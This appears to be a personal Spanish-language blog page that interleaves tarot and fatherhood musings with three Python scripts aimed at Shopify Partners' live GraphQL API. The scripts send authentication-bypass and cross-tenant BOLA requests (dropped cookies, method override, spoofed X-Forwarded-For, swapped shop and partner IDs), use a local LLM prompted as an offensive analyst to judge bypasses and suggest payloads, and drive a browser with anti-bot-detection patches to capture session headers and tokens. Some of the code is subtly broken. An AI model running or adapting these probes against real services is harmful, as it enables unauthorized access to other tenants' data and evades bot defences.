domingo, 11 de octubre de 2026










import json
import requests
import ollama

# ==========================================
# CONFIGURACIÓN DE ENTORNO
# ==========================================
OLLAMA_HOST = "http://192.168.1.128:11434"
MODEL_NAME = "phi3"
client = ollama.Client(host=OLLAMA_HOST)

TARGET_URL = "https://partners.shopify.com/5244395/api/graphql"

# Base de cabeceras legítimas (Sustituye 'TU_COOKIE_REAL_AQUI' con la real de tu sesión)
BASE_HEADERS = {
    "Host": "partners.shopify.com",
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
    "Accept": "*/*",
    "Content-Type": "application/json",
    "Cookie": "auth_session_id=TU_COOKIE_REAL_AQUI"
}

def generar_pruebas_perimetro(mutation_base):
    """Genera variantes de fuzzing de cabeceras y métodos para evaluar el perímetro."""
    pruebas = []

    # 1. Bypass por omisión de Cookie
    h_sin_cookie = BASE_HEADERS.copy()
    h_sin_cookie.pop("Cookie", None)
    pruebas.append({
        "tipo": "Fuzzing Perimetral: Sin Cookie de Sesión",
        "headers": h_sin_cookie,
        "payload": mutation_base,
        "method": "POST"
    })

    # 2. Bypass por reescritura de método HTTP (X-HTTP-Method-Override)
    h_override = BASE_HEADERS.copy()
    h_override["X-HTTP-Method-Override"] = "GET"
    pruebas.append({
        "tipo": "Fuzzing Perimetral: HTTP Method Override (GET)",
        "headers": h_override,
        "payload": mutation_base,
        "method": "POST"
    })

    # 3. Inyección de cabeceras de reescritura de origen / IP Spoofing
    h_spoof = BASE_HEADERS.copy()
    h_spoof["X-Forwarded-For"] = "127.0.0.1"
    h_spoof["X-Original-URL"] = "/api/graphql"
    pruebas.append({
        "tipo": "Fuzzing Perimetral: Cabeceras de Reescritura / IP Spoofing",
        "headers": h_spoof,
        "payload": mutation_base,
        "method": "POST"
    })

    return pruebas

def generar_pruebas_bola_cruzada(mutation_base):
    """Genera variantes de BOLA cruzando IDs reales (cuenta propia vs cuenta simulada ajena)."""
    pruebas = []

    mutacion_cruzada = json.loads(json.dumps(mutation_base))
    if "variables" in mutacion_cruzada:
        if "shopId" in mutacion_cruzada["variables"]:
            mutacion_cruzada["variables"]["shopId"] = "987654321"  # ID ajeno válido/existente de prueba
        if "partnerId" in mutacion_cruzada["variables"]:
            mutacion_cruzada["variables"]["partnerId"] = "543219876"

    pruebas.append({
        "tipo": "BOLA Cross-Tenant: IDs Cruzados Reales",
        "headers": BASE_HEADERS,
        "payload": mutacion_cruzada,
        "method": "POST"
    })

    return pruebas

def ejecutar_peticion(test_case):
    """Ejecuta la petición HTTP configurada con control robusto de errores y timeouts."""
    try:
        if test_case["method"] == "POST":
            response = requests.post(
                TARGET_URL, 
                headers=test_case["headers"], 
                json=test_case["payload"], 
                timeout=(5, 10),  # (Conexión, Lectura)
                verify=True
            )
        else:
            response = requests.get(
                TARGET_URL, 
                headers=test_case["headers"], 
                timeout=(5, 10), 
                verify=True
            )

        return {
            "status_code": response.status_code,
            "headers_clave": {k: v for k, v in response.headers.items() if k.lower() in ["server", "content-type", "cf-ray"]},
            "body_resumen": response.text[:200]
        }
    except requests.exceptions.Timeout:
        return {"error": "Timeout: El servidor tardó demasiado en responder."}
    except requests.exceptions.ConnectionError:
        return {"error": "Error de conexión con el objetivo."}
    except Exception as e:
        return {"error": str(e)}

def analizar_con_ia(tipo_prueba, respuesta):
    """Envía un resumen ultracorto a Ollama con temperatura baja para evitar alucinaciones."""
    if "error" in respuesta:
        return f"[!] Omitiendo análisis de IA por fallo de red: {respuesta['error']}"

    prompt = f"""
    Actúa como analista de seguridad ofensiva. 
    Analiza esta prueba en la API GraphQL de Shopify:
    - Vector: {tipo_prueba}
    - Código HTTP de respuesta: {respuesta.get('status_code')}

    Responde brevemente en español:
    1. ¿El WAF o control de acceso bloqueó correctamente la petición?
    2. ¿Hay algún indicio de fallo lógico o bypass?
    """

    try:
        response = client.chat(
            model=MODEL_NAME,
            messages=[{"role": "user", "content": prompt}],
            options={"temperature": 0.1}  # Temperatura baja estricta
        )
        return response['message']['content']
    except Exception as e:
        return f"[!] Error al conectar con Ollama: {e}"

def main():
    mutacion_original = {
        "operationName": "AppUpdate",
        "variables": {
            "shopId": "123456",
            "partnerId": "98765",
            "appToken": "ijkl1234mnop5678",
            "updateData": {
                "description": "Prueba avanzada de seguridad"
            }
        }
    }

    print("[*] Iniciando batería de pruebas avanzadas (Fuzzing Perimetral + BOLA Cruzada)...")
    
    bateria_pruebas = generar_pruebas_perimetro(mutacion_original) + generar_pruebas_bola_cruzada(mutacion_original)

    for idx, test in enumerate(bateria_pruebas, 1):
        print(f"\n" + "="*60)
        print(f"[*] Ejecutando Caso #{idx}: {test['tipo']}")
        print("="*60)
        
        # 1. Ejecutar petición real
        res_http = ejecutar_peticion(test)
        print(f"[+] Código HTTP recibido: {res_http.get('status_code', res_http.get('error', 'Error'))}")
        
        # 2. Análisis con Ollama (GPU) blindado
        print("[*] Analizando respuesta con Ollama...")
        analisis = analizar_con_ia(test['tipo'], res_http)
        print(analisis)

if __name__ == "__main__":
    main()





import json
import os
import ollama

# Configurar el cliente para apuntar al servidor de Ollama en el anfitrión de Windows
OLLAMA_HOST = "http://192.168.1.128:11434"
MODEL_NAME = "phi3"

client = ollama.Client(host=OLLAMA_HOST)

def cargar_peticiones(archivo_json):
    """Carga el archivo de peticiones GraphQL capturadas."""
    if not os.path.exists(archivo_json):
        print(f"[!] No se encontró el archivo {archivo_json}")
        return []
    
    with open(archivo_json, 'r', encoding='utf-8') as f:
        try:
            return json.load(f)
        except json.JSONDecodeError as e:
            print(f"[!] Error al decodificar el JSON: {e}")
            return []

def analizar_peticion_avanzada(graphql_query):
    """Envía la consulta GraphQL a la IA buscando BOLA, fugas de campos e IDOR."""
    prompt = f"""
    Eres un auditor experto en seguridad ofensiva especializado en APIs GraphQL de nivel empresarial.
    Analiza la siguiente consulta, mutación o esquema GraphQL en busca de vulnerabilidades avanzadas:

    1. **BOLA (Broken Object Level Authorization):** ¿Se pasa un ID de recurso (ej. shopId, partnerId, appToken, userId) manipulable sin verificar si pertenece al contexto de la sesión actual?
    2. **Fugas de Campos Sensibles / Over-fetching:** ¿Se solicitan campos internos, metadatos de base de datos, tokens de acceso, correos electrónicos o información de infraestructura que no debería estar expuesta al cliente?
    3. **Manipulación de Mutaciones (Mass Assignment / IDOR):** ¿Permite modificar o eliminar recursos de terceros alterando únicamente los identificadores en las variables o argumentos?

    Consulta GraphQL:
    {graphql_query}

    Proporciona un informe estructurado con:
    - **Vector evaluado** (BOLA / Fuga de campos / IDOR / Seguro)
    - **Nivel de Riesgo** (Crítico / Alto / Medio / Bajo)
    - **Análisis técnico detallado** del porqué representa una debilidad.
    - **Payload de prueba o sugerencia de fuzzing** para verificar la vulnerabilidad de forma práctica.
    """

    try:
        response = client.chat(
            model=MODEL_NAME,
            messages=[{"role": "user", "content": prompt}]
        )
        return response['message']['content']
    except Exception as e:
        return f"[!] Error al conectar con Ollama: {e}"

def main():
    archivo = "graphql_captured.json"
    peticiones = cargar_peticiones(archivo)

    if not peticiones:
        print("[!] No hay peticiones para analizar.")
        return

    print(f"[*] Analizando {len(peticiones)} peticiones con lógica avanzada (BOLA/Fugas) usando Ollama...\n")

    for idx, peticion in enumerate(peticiones, 1):
        print(f"--- [ Análisis Avanzado de Petición #{idx} ] ---")
        query_text = peticion.get("query", str(peticion))
        
        resultado = analizar_peticion_avanzada(query_text)
        print(resultado)
        print("=" * 60 + "\n")

if __name__ == "__main__":
    main()















me gusta hackear y poner a tope esta canción de ramstein del dicso rise rise . Amour amour. na na - na na na. y asutar a los vecinos con los bafles a tope. Y gritar. gritar.


alas-hunter.py






import json
import os
from time import sleep
from playwright.sync_api import sync_playwright

output_file = "graphql_captured.json"

# Inicializamos el archivo JSON de captura al vuelo
with open(output_file, "w", encoding="utf-8") as f:
    json.dump([], f)

with sync_playwright() as p:
    # Usamos un perfil persistente para que una vez logueado, no tengas que volver a pasar por el login
    user_data_dir = os.path.expanduser("./shopify_hunter_profile")
    print(f"[*] Usando perfil persistente en: {user_data_dir}")

    context = p.chromium.launch_persistent_context(
        user_data_dir=user_data_dir,
        headless=False,
        args=[
            "--disable-blink-features=AutomationControlled",
            "--disable-infobars",
            "--no-sandbox",
            "--disable-dev-shm-usage",
            "--start-maximized"
        ],
        user_agent="Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
        viewport={"width": 1280, "height": 800}
    )

    # Parche anti-detección de webdriver
    context.add_init_script("""
        Object.defineProperty(navigator, 'webdriver', { get: () => undefined });
        window.navigator.chrome = { runtime: {} };
    """)

    page = context.new_page() if not context.pages else context.pages[0]

    # Interceptor de GraphQL orientado a Bug Bounty (captura peticiones, cabeceras, tokens y mutaciones)
    def on_request(req):
        if "graphql" in req.url:
            method = req.method
            post_data = req.post_data
            
            # Filtro visual rápido en consola
            op_name = "Desconocida"
            if post_data:
                try:
                    body_json = json.loads(post_data)
                    op_name = body_json.get("operationName", "CustomQuery")
                except:
                    pass

            print(f"[+] GraphQL [{method}] -> Op: {op_name}")
            
            try:
                with open(output_file, "r+", encoding="utf-8") as f:
                    data = json.load(f)
                    data.append({
                        "url": req.url,
                        "method": method,
                        "headers": dict(req.headers),
                        "post_data": post_data
                    })
                    f.seek(0)
                    json.dump(data, f, indent=4)
                    f.truncate()
            except Exception as e:
                print(f"[-] Error guardando petición: {e}")

    page.on("request", on_request)

    print("[*] Abriendo Shopify Partners...")
    page.goto("https://partners.shopify.com/")

    # Automatización inteligente del flujo de login inicial si no hay sesión activa
    try:
        # 1. Comprobamos si estamos en la página de bienvenida y buscamos el botón de login general
        login_btn_selectors = [
            "a[href*='login']", 
            "text=Log in", 
            "text=Iniciar sesión", 
            "button:has-text('Log in')"
        ]
        
        for selector in login_btn_selectors:
            if page.locator(selector).count() > 0:
                print("[*] Botón de inicio de sesión detectado. Haciendo clic...")
                page.click(selector)
                page.wait_for_load_timeout(2000)
                break

        # 2. Buscamos el campo de correo electrónico de forma resiliente
        email_selector = "input[type='email'], input#account_email, input[name='email']"
        if page.locator(email_selector).count() > 0:
            print("[*] Campo de correo localizado. Escribiendo email de forma humana...")
            page.click(email_selector)
            # Escribir con un pequeño retraso milimétrico para evitar bloqueos anti-bot por velocidad
            page.type(email_selector, "tu-puta-vaina@gmail.com", delay=100)
            
            sleep(1)
            print("[*] Enviando formulario (Pulsando Enter)...")
            page.press(email_selector, "Enter")
        else:
            print("[*] Es posible que ya exista una sesión activa o el DOM sea diferente. Revisa la ventana.")

    except Exception as e:
        print(f"[*] Nota durante el flujo automático: {e}")

    print("\n" + "="*60)
    print(" MODO BUG BOUNTY ACTIVO - CAPTURA DE TRÁFICO")
    print(" 1. Completa la contraseña o verifica si ya estás dentro.")
    print(" 2. Navega, crea apps o bórralas para auditar las mutaciones.")
    print(" 3. Pulsa [Ctrl + C] en esta terminal cuando termines para cerrar.")
    print("="*60 + "\n")

    try:
        while True:
            sleep(1)
    except KeyboardInterrupt:
        print("\n[*] Saliendo... Datos guardados correctamente en 'graphql_captured.json'.")

    browser.close()



No existen y ya nos llamán.

>

>

>

>

>

>
A lo mejor soy - papá - parece que Sol + reina Oros. Estoy pensándolo, papá a la una, papá a las tres, en fin. No sé si estoy preparado . Vaya, yo no - ovulo - con la luna. Ay... en fin decía el poeta para que sirve el tiempo, el teimpo sirve para que curas y médicos corran p or los caminos. Asi estan mis sobrina que sino hay - bebé - mefáfora - pasan de mi, hasta que tenga un bebé metáfora, las voy a acender a canguros de mi futuro bebé - promesa. Vaya vaya que pensamientos más extraños me siento como solo un peón en un juego. No sé, Aout o si es nena pues Virgo. Yo que soy un corazonadas de bukowskis, y pensamietnos relacionales. Pensando en un bebe - metáfora ó bebé - promesa. Esto me pasa por hacer el tarot. Aunque debe ser bonito que una ve exista el universo ser mujer y ovular conmigo . Je je je. Tengo dos futuras canguro, listas para la larga crianza. Esto me hace reir. QUe bien me vienen mis sobrinas. Y familia , restante. Para perpetrar - hijos - . Es que tener hijos es muy dificil, muy dificil. Yo crie a mis sobrinas, es una condena a perpetuidad, pero para qué existe una vez el universo, el universo quiere continuar - prevalecer - . Ahí desahogando mis penas - hijisticas - a mis 47 años en plan un bukowski moderado pero también un hijo de san bartolome. sententcio a pesar de todo, lo malo y enfermo que es este mundo que Aout nacera, y Virgo o al reves, a lo mejor. Porque una vez fué el mundo y una vez existió - todo - . No existen y ya nos llaman - desde el tarot - y rozan el mundo con sus deditos almísticos. Por otro lado el tarat me está llamando - fertíl - ja ja ja en segundo - plano - . Ella es rica y muy generosa - en tercer plano - . Sentencia el tarot y sus símbolos. Veo a mi fmilia muy receptiva a la hora de tener bebés, estoes un punto a mi favor. J ja ja ja. Papá abordo. Ja ja ja ja. ja ja ja. En fin.

>

>

>

>

>

Hasta que el viento arrastra sus misteriosos átomos...

>
La nouvelle punk presenta - la poesia - como un arma , como un arma cargada de futuro. Para que continué la poderosa - obra - porqeu una vez - existió - todo A nosotros que caemos , solo pasajeros...

>

>

>

>

>